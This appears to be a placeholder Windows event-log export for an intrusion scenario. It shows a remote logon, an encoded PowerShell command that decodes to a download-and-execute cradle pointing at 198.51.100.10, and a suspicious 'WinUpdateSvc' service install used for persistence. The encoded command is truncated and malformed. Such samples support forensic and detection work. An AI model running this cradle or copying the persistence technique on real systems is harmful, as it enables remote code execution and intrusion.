EVTX PLACEHOLDER (text export)
TimeCreated=2026-02-02T11:04:12Z EventID=4624 LogonType=3 TargetUserName=a.smith IpAddress=203.0.113.236 WorkstationName=SRV-FILE-01
TimeCreated=2026-02-02T11:06:41Z EventID=4688 NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine=powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnaAB0AHQAcAA6AC8ALwA=198.51.100.10
TimeCreated=2026-02-02T11:08:02Z EventID=7045 ServiceName=WinUpdateSvc ImagePath=C:\ProgramData\winup\wu.exe